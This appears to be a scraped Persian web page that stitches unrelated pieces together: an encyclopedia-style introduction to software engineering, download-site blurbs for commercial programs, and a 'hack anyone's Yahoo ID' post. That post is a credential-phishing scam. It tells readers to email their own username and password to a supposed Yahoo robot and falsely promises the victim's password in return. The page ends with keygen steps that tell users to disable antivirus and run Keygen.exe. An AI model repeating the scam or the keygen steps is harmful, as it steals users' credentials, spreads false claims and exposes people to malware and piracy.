مهندسی نرمافزار پیشهای است که به یاری دانش رایانه و دیگر فناوریها و روشها به آفریدن و نگاهداری نرمافزار رایانهای میپردازد.
مسائل اصلی مهندسی نرمافزار تولید نرمافزار بر اساس موارد زیر است:
الزامات تعیین شده
در زمان تعیین شده
در محدودهٔ بودجه پیشبینی شده
مهندسی نرمافزار طراحی، برنامه نویسی، توسعه، مستندسازی و نگهداری نرم افزار با بکارگرفتن روشهای فنی و عملی از علوم کامپیوتر ، مدیریت پروزه ، مهندسی ، محدوده کاربرد، طراحی رابط، مدیریت تجهیزات دیجیتال و سایر زمینهها است.
کاربردهای مهندسی نرمافزار دارای ارزشهای اجتماعی و اقتصادی هستند، زیرا بهرهوری مردم را بالا برده، چند و چون زندگی آنان را بهتر میکنند. مردم با بهرهگیری از نرمافزار، توانایی انجام کارهایی را دارند که قبل از آن برایشان شدنی نبود. نمونههای از این دست نرمافزارها عبارتاند از: سامانههای توکار، نرم افزار اداری، بازیهای رایانهای، و اینترنت.
فناوریها و خدمات مهندسی نرمافزار به کاربران برای بهبود بهرهوری و کیفیت یاری میرساند. نمونههایی از زمینههای بهبود: دادگان، زبانها، کتابخانهها، الگوها، فرآیندها و ابزار.
پیشینه مهندسی نرمافزار
اصطلاح مهندسی نرم افزار بعد از سال ۱۹۶۸ شناخته شد. این اصطلاح طی کنفرانس «مهندسی نرم افزار ناتو ۱۹۶۸» (که در گارمیش آلمان برگزار شد) توسط ریاست کنفرانس F.L. Bauer معرفی شد و از آن پس بطور گسترده مورد استفاده قرار گرفت.
اصطلاح مهندسینرمافزار عموماً به معانی مختلفی به کار میرود:
بهعنوان یک اصطلاح غیر رسمی امروزی برای محدوده وسیع فعالیتهایی که قبلا برنامهنویسی و تحلیل سیستمها نامیده میشد.
بهعنوان یک اصطلاح جامع برای تمامی جنبههای عملی برنامهنویسی کامپیوتر، در مقابل تئوری برنامه نویسی کامپیوتر، که علوم کامپیوتر نامیده میشود.
بهعنوان اصطلاح مجسم کننده طرفداری از یک رویکرد خاص نسبت به برنامهنویسی کامپیوتر که اصرار میکند، مهندسی نرمافزار، بجای انکه هنر یا مهارت باشد، باید بهعنوان یک رشته عملی مهندسی تلقی شود و از جمع کردن و تدوین روشهای عملی توصیه شده به شکل متدولوژیهای مهندسی نرم افزار طرفداری میکند.
مهندسی نرم افزار عبارتست از : الف) کاربرد یک رویکرد سیستماتیک، انتظام یافته، قابل سنجش نسبت به توسعه، عملکرد و نگهداری نرم افزار، که کاربرد مهندسی در نرم افزار است و ب) مطالعه روشهای موجود در استاندارد IEEE
محدوده مهندسی نرم افزار و تمرکز آن
مهندسی نرمافزار به مفهوم توسعه و بازبینی یک سیستم نرمافزاری مربوط است. این رشته علمی با شناسایی، تعریف، فهمیدن و بازبینی خصوصیات مورد نیاز نرمافزار حاصل سر و کار دارد. این خصوصیات نرم افزاری ممکن است شامل: پاسخگویی به نیازها، اطمینانپذیری، قابلیت نگهداری، در دسترس بودن، آزمونپذیری، استفاده آسان، قابلیت حمل و سایر خصوصیات باشد.
مهندسی نرمافزار ضمن اشاره به خصوصیات فوق، مشخصات معین طراحی و فنیای را آماده میکند که اگر بدرستی پیادهسازی شود، نرمافزاری را تولید خواهد کرد که میتواند بررسی شود که آیا این نیازمندیها را تامین میکند یا خیر.
مهندسی نرمافزار همچنین با خصوصیات پروسه توسعه نرمافزاری در ارتباط است. در این رابطه، با خصوصیاتی مانند هزینه توسعه نرمافزار، طول مدت توسعه نرمافزار و ریسکهای توسعه نرمافزار درگیر است.
نیاز به مهندسی نرم افزار
نرم افزار عموماً از محصولات و موقعیتهایی شناخته میشود که قابلیت اطمینان زیادی از آن انتظار میرود، حتی در شرایط طاقت فرسا، مانند نظارت و کنترل نیروگاههای انرژِی هستهای، یا هدایت یک هواپیمای مسافربری در هوا، چنین برنامههایی شامل هزاران خط کد هستند، که از نظر پیچیدگی با پیچیده ترین ماشینهای مدرن قابل مقایسهاند. بهعنوان مثال یک هواپیمای مسافربری چند میلیون قطعه فیزیکی دارد (و یک شاتل فضایی خدود ده میلیون بخش دارد)، در حالی که نرم افزار هدایت چنین هواپیمایی میتواند تا ۴ میلیون خط کد داشته باشد.
تکنولوژیها و روشهای عملی
مهندسین نرم افزار طرفدار تکنولوژیها و روشهای عملی بسیار متفاوت و مختلفی هستند، که با هم ناسازگارند. این بحث در سالهای دهه ۶۰ میلادی شروع شد و ممکن است برای همیشه ادامه پیدا کند. مهندسین نرم افزار از تکنولوژیها و روشهای عملی بسیار متنوعی استفاده میکنند. کسانی که کار عملی میکنند از تکنولوژیهای متنوعی استفاده میکنند : کامپایلرها، منابع کد، پردازشگرهای متن. کسانی که کار عملی میکنند از روشهای عملی بسیار متنوعی استفاده میکنند تا تلاشهایشان را اجرا و هماهنگ کنند : برنامه نویسی در دستههای دونفری، بازبینی کد، و جلسات روزانه. هدف هر مهندس نرم افزار بایستی رسیدن به ایدههای جدید خارج از مدلهای طراحی شده قبلی باشد، که باید شفاف بوده و بخوبی مستند شده باشد.
با وجود رشد فزاینده اقتصادی و قابلیت تولید فزایندهای که توسط نرم افزار ایجاد شده ، هنوز هم بحث و جدلهای ماندگار درباره کیفیت نرم افزار ادامه دارند.
ماهیت مهندسی نرم افزار
دیوید پارناس گفتهاست که مهندسی نرم افزار یک شکل از مهندسی است. استیو مککانل گفتهاست که هنوز اینطور نیست، ولی مهندسی نرم افزار باید یک شکل از مهندسی بشود. دونالد کنوت گفتهاست که برنامه نویسی یک هنر است.
دیوان فعالیتهای آماری آمریکا مهندسان نرم افزار را به عنوان زیرگروهی از «متخصصین کامپیوتر»، با فرصتهای شغلیای مانند «دانشمند کامپیوتر»، «برنامه نویس» و «مدیر شبکه» دسته بندی کردهاست. BLS تمام مهندسین دیگر این شاخه علمی، که شامل مهندسین سخت افزار کامپیوتر نیز هست، را بهعنوان «مهندسین» دسته بندی میکند.
هک کردن آیدی دیگران روش "جولی راجرز" یکی از بزرگترین هکرهای جهان :
(این مطلب "صرفا"جهت بالا بردن اطلاعات عمومی می باشد.)
با استفاده از این روش شما میتوانید پسوورد طرف قربانی را به راحتی به دست آورید. به عنوان مثال آیدی مقابل را مثال میزنیم : m_h654321
این کار خیلی راحته روش کار به این صورته کافیه شما یه سری کدهایی که پایین میزارم رو واسه سرور یاهو میل کنید(یعنی یه ایمیل ساده به این آدرس بزنید).با اینکه روبوت سرور یاهو یکی از روبوتهای بزرگ یاهو تلقی میشه از کار میفته یا به اصطلاح هنگ میکنه حال پسوورد هر آیدی رو که تعیین کرده بودید رو براتون میفرسته.
خوب حالا باید یه میل واسه روبوت بفرستید که من آموزشش رو اینجا میدم :
1.در قسمت Toاین آدرس را وارد میکنید : (این آدرس روبوت سرور یاهو میباشد).
2.برای قسمت subjectآدرس میل فرد قربانی رو کامل بنویسید مثل :
3. در قسمت متن نامه که همون message box می شود به ترتیب مانند پایین عمل کنید.(من این قسمت رو به صورت انگلیسی می نویسم تا اشتباه نشه)
شما می توانید این قسمت رو کپی کنید و عین همین رو توی message box پیست(paste) کنید :
Hotmailpswd_rtrvl_Xtra-----fast-----server(yourusername)----Snd---bk---anypswd(crack---rtrv^&%^&%^&"£""!Robot(your password)___robotreserved____SNDT_____Free----4635---Yahoo
خوب حالا اینا رو باید یه سری تغییرات بدید :
در خط اول جایی که نوشته server به جای your username آیدی خودتون رو بنویسید مثلا :
و در خط دوم در قسمتی که نوشته Robot به جای your password پسوورد آیدی خودتون رو میزنید مثلا :
123456
توجه کنید که pass آیدی شما فقط برای روبوت یاهو ارسال میشود نه برای هیچ سرور دیگر.
حال این میل رو ارسال (send) کنید که بعد از 24 ساعت یه نامه به آیدی شما میاد که حاوی پسوورد آیدی فردی که تعیین کرده بودید هست.
نام نرم افزاری حرفه ای جهت تست سرعت قطعات سخت افزاری سیستم می باشد. آیا تا بحال خواسته اید که سرعت قطعات سیستم خود را مورد سنجش قرار دهید؟ و یا خواسته اید قطعات خود را با نتیجه سنجش خود را با سایر سیستم ها مقایسه نمایید؟ با استفاده از نرم افزار PerformanceTest شما به راحتی میتوانید سرعت قطعات سیستم خود را مورد سنجش قرار داده و میزان قدرت انها را انالیز کنید. این نرم افزار قطعات شما را با 28 آزمایش مختلف مورد بررسی و تحلیل خود قرار داده و در اخر نتیجه را به شما نمایش می دهد. در پایان انالیز شما میتوانید نتیجه را در فرمت های ASCII و فرمت HTML و یا فرمت های متنی و اسناد ذخیره نمائید.
برخی از ویژگی های این نرم افزار :
دارا بودن کتابچه راهنما HTML کاربر
قابلیت تست سی پی یو بر اساس دستورالعمل های مختلف
قابلیت ذخیره نتایج برو روی دیسک
دارا بودن شمارنده جهت انجام تعداد عملیات ها
قابلیت تست تا 20 هارد دیسک و فلاپی به طور همزمان
قابلیت تست تا 20 CD / DVD درایو به طور همزمان
قابلیت تست تا 64 پورت سریال به طور همزمان
قابلیت تست CD / DVD با استفاده از آزمون های تخصصی سی دی / دی وی دی
امکان نمایش خلاصه اطلاعات سیستم از جمله نوع CPU و سرعت CPU
پشتیبانی از نسخه های مختلف ویندوز
و ...
لینک های دانلود
Able2Doc Professional 7.0.38.0 نام نرم افزاری حرفه ای جهت تبدیل سریع و آسان فایل های پی دی اف به فرمت Doc می باشد. در این پست از وب سایت میهن دانلود برای شما عزیزان نرم افزاری حرفه ای جهت تبدیل آسان فایل های PDF به فرمت ورد اماده نموده ایم. این نرم افزار با حداکثر editability فایل های پی دی اف شما را به فرمت های آفیس تبدیل می نماید. این نرم افزار به طور دقیق ستون ها، جداول، سرصفحه، پاورقی ، اشکال گرافیکی و ... فایل پی دی اف شما را بدون هیچ اشکالی تبدیل نمیوده و اماده استفاده و ویرایش شما می کند. علاوه بر این شما میتوانید کلمات تکراری اضافه را حذف کرده ، تغییر وضوح تصاویر استفاده شده در صفحات را نیز انجام دهید. از دیگر قابلیت های این نرم افزار میتوان به امکان جستجو در متن ، زوم کردن ، پشتیبانی از عمل کشیدن و انداختن ، امکان تبدیل اشکال بومی PDF به MS ، امکان تبدیل زبان های اسیائی و ... از جمله ویژگی های این نرم افزار حرفه ای مباشد. در ادامه مطلب میتوانید این نرم افزار را از میهن دانلود دریافت نمائید.
برخی از ویژگی های این نرم افزار :
قابلیت پشتیبانی از فونت های یونیکد و غیر یونیک
قابلیت تبدیل عربی، سیریلیک و pdf زبان های آسیایی
دارا بودن گزینه های گرافیکی کنترل در طی فرآیند تبدیل
قابلیت کنترل سفارشی سربرگ و پاورقی
قابلیت تبدیل PDF به فرمت ODT
قابلیت تبدیل فرمت XPS به فرمت Word
قابلیت تبدیل فرمت پ دی اف به فرمت های doc و RTF
قابلیت تبدیل اشکال بومی PDF به MS
محیط کاربری زیبا و کاربر پسند
پشتیبانی از نسخه های مختلف ویندوز
و ...
لینک های دانلود
نام نرم افزاری حرفه ای جهت تبدیل سریع و آسان فرمت های اسناد به یکدیگر می باشد. اگر شما نیز به دنیال یک نرم افزار حرفه ای جهت تبدیل فرمت های اسناد به یکدیگر می باشید ما به شما عزیزان نرم افزار حرفه ای Able2Extract را پیشنهاد می کنیم. این نرم افزار قدرتمند با دارا بودن امکانات حرفه ای و بالا تبدیل فرمت های مختلف سند را به یکدگیر در بالاترین کیفیت ممکن و در کمترین زمان برای شما انجام می دهد. این نرم افزار با تجزیه و تحلیل و reversioning حرفه ای فرمت های دیگر را انالیز کرده و تبدیل مورد نظر شما را انجام می دهد. به این ترتیب شما میتوانید PDF، XPS، HTML و یا سند TXT را به آسانی به اکسل، ورد، پاورپوینت، MS تبدیل نمائید.این نرم افزار با حفظ طرح قالب فایل اصلی کار را برای کاربران خود آسان نموده است. به قطع در کار با این نرم افزار و دریافت ویزگی های ان شما شگفت زده خواهید شد. از دیگر قابلیت های این نرم افزار میتوان به پشتیبانی از تبدیل دسته ای ، امکان مدیریت تصاویر، تبدیل سفارشی و تغییر اندازه فونت حداکثر سربرگ و پاورقی و ... اشاره کرد. در ادامه مطلب میتوانید این نرم افزار را از میهن دانلود دریافت نمائید.
برخی از ویژگی های این نرم افزار :
قابلیت تبدیل PDF به اکسل و حفظ ساختار سطر / ستون
قابلیت تبدیل تصویر اسکن شده پی دی اف به فرمت صفحات گسترده اکسل
قابلیت تبدیل PDF به Word و حفظ طرح اصلی از PDF
قابلیت تبدیل PDF به فرمت های تصویر
تبدیل PDF به HTML برای استفاده در صفحات وب
قابلیت تبدیل PDF به فرمت DXF
امکان تبدیل دسته ای آسان اسناد PDF به دیگر فرمت های خروجی مانند ورد، اکسل و پاورپوینت و فرمت های دیگ
قابلیت پشتیبانی از فونت های یونیکد و غیر یونیک
امکان تبدیل عربی، سیریلیک و زبان شخصیت آسیایی فایل های پی دی اف
پشتیبانی از نسخه های مختلف ویندوز
و ...
لینک های دانلود
نرم افزار VMware Workstation معروف ترین نرم افزار نصب سیستم عامل مجازی بر روی ویندوز است که با استفاده از آن می توان چندین ویندوز و سیستم عامل مختلف را بر روی یک کامپیوتر نصب نمود. این برنامه با پیشتیبانی از 200 سیستم عامل مختلف که از جمله میتوان به ویندوز سون، ویندوز سرور 2008، ویندوز ایکس پی، لیونکس و ... اشاره کرد، این امکان را برای شما فراهم میسازد تا به راحتی بتوانید استفاده از سیستم عامل های مختلف را بر روی یک ویندوز تجربه کنید. در واقع شما با کمک این نرم افزار قادر خواهید بود تا در یک محیط کاملآ شبیه سازی شده سیستم عامل دلخواه خود را اجرا نمایید و همانند یک سیستم واقعی در محیط آن کار کرده و به انجام کارهایی از قبیل نصب بازی و نرم افزار، گشت و گذار در اینترنت و ... بپردازید. همچنین این نرم افزار از سرعت بسیار بالایی برخوردار است و کار در محیط سیستم های شبیه سازی شده با بالاترین سرعت انجام می پذیرید. از دیگر قابلیت های این نرم افزار میتوان به امکان برقرار ارتباط مستقیم بین سیستم های شبیه سازی شده که به اصطلاح به آنها سیستم میهمان نیز گفته میشود و سیستم اصلی اشاره کرد. به عنوان مثال شما قادرید تا قایلی را تنها با کشیدین و رها کردن آن از سیستم اصلی به درون سیستم میهمان منتقل کنید.
برخي از ويژگيهاي اين نرم افزار:
- قابلیت نصب سیستم عامل های مختلف تنها بر روی یک ویندوز.
- پشتیبانی از بیش از 200 سیستم عامل مختلف.
- امکان برقراری ارتباط مستقیم بین سیستم اصلی و سیستم میهمان.
- داشتن سرعت بسار بالا در هنگام اجرا و کار در محیط سیستم شبیه سازی شده.
- قابلیت شبکه کردن دو سیستم عامل.
- قابلیت انتقال فایل ها تنها با Drag and Drop.
- امکان کاهش و افزایش مقدار سخت افزار مورد استفاده سیستم مجازی.
- امکان نصب بازی و نرم افزارهای مختلف بر روی سیستم مجازی.
- سازگار با ويندوز هاي مختلف.
- و ...
لینک های دانلود
نرم افزاری حرفه ای جهت فلبمبرداری و تصویر برداری از صفحه نمایشگر می باشد. امروزه آموزش های تصویری روبه رشد می باشد و بیشتر کاربران به دنبال آموزش های تصویری می باشند.چرا که اموزش های تصویری بهترین گزینه برای یاد گیری سریع و آسان می باشد. شما نیز با استفاده از نرم افزاری که در این پست از میهن دانلود برای شما اماده نموده ایم میتوانید از ویندوز خود تصویر برداری کرده و از ان فیلم تهیه کنید. در پایان تصویر برداری شما میتوانید فایل مورد نظر را در فرمت های مختلف از جمله swf ذخیره نمائید. یکی از قابلیت های این نرم افزار ایجاد فرمت html به همراه فرمت swf برای به نمایش در اوردن فیلم در صفحات وب می باشد. در ادامه مطلب میتوانید این نرم افزار را از میهن دانلود دریافت نمائید.
برخی از ویژگی های این نرم افزار :
ضبط و پخش فیلم از صفحه نمایش
ذخیره سازی فیلم با فرمت فلش ماکرومدیا
ذخیره سازی فیلم با فرمت AVI
ذخیره سازی فیلم با فرمت WMV
قابلیت ذخیره سازی با فرمت EXE
امکان ضبط صدا از طریق میکروفون
قابلیت وارد کردن فایل های صوتی به فیلم
قابلیت خاموش شدن خودکار افکتهای گرافیکی ویندوز
امکان تنظیم تصویر زمینه دسکتاپ ساده هنگام ضبط
دارا بودن نوار ابزار فریم برای نمایش تمامی فعالیتها
و ...
لینک های دانلود
نرم افزاری کامل جهت ویرایش ، مدیریت و بهینه سازی تصاویر می باشد. با استفاده از ابزار ها و امکانات این نرم افزار شما قادر خواهید بود تصاویر خود را به آسانی ویرایش نموده ، روشنائی و نور ان را تنظیم کرده ، با استفاده از ابزار گرافیکی مانند روتوش تغییرات مورد نیاز را در ان ها ایجاد کنید. شما میتوانید با استفاده از Ashampoo Photo Commander عکس های خود را گروه بندی و تگ گذاری نمائید و در هنگا جتستجوی آنها به آسانی انها را بیابید. خلاقیت را با این نرم افزار برای تصاویر خود به وجود اورید! از جمله قابلیت های این نرم افزار میتوان به قابلیت حذف قرمزی چشم ، افکت های اماده تصاویر ، ایجاد البوم های تصاویر و ... اشاره کرد.
برخی از ویژگی های این نرم افزار :
قابلیت تنظیم اندازه و منحنی تصاویر
دارا بودن ابزار کاملپرکردن
ویرایش سریع و آسان تصاویر
قابلیت ایجاد آلبوم های تصاویر
قابلیت تگ گذاری تصاویر برای جستجوی آسان و سریع انها
امکان رایت تصاویر و آلبوم ها بر روی سی دی و دی وی دی ها
قابلیت چاپ تصاویر با کیفیت بالا
اشغال کم حافظه
قابلیت ایجاد اسلایدر از آلبوم تصاویر
پشتیبانی از فرمت های مختلف تصاویر
قابلیت پردازش دسته ای تصاویر برای افزایش سرعت عملکرد
دارا بودن ابزار رتوش و افکت گذاری بر روی تصاویر
و ...
لینک های دانلود

1- اتصال خود را حتما از اینترنت قطع نموده و اقدام به نصب نرم افزار نمایید.
2- در مرحله ی آخر از نصب نرم افزار با برداشتن تیک مربوط به اجرای برنامه مانع اجرای آن شوید. در صورتی که برنامه به صورت خودکار اجرا شد با زدن دگمه Close از آن خارج شوید. برخی از نرم افزارها با خروج از محیط آنها بسته نمی شوند بلکه آیکون آنها در نوار Taskbar و در کنار ساعت ویندوز قرار می گیرد با کلیک راست بر روی آیکون برنامه و انتخاب گزینه ی Exit یا Quit آنرا ببندید.
3- ممکن است با توجه به خاصیت ذاتیKeygen ها، آنتی ویروس شما، فایل Keygen را به عنوان ویروس شناسایی کند و از اجرای آن جلوگیری کند.در اینصورت بهتر است آنتی ویروس خود را در طی فرآیند نصب غیرفعال کنید.
4- پس از مطمئن شدن از بسته بودن نرم افزار محتویات پوشه Keygen را در محل نصب نرم افزار کپی کنید و فایل Keygen.exe را اجرا و سپس عملیات رجیستر را انجام دهید.
5- اگر فایل Keygen به درستی بر روی سیستم شما اجرا نمی شود،به معنی این است که سیستم شما آخرین نسخه نرم افزار Microsoft .NET Framework را ندارد.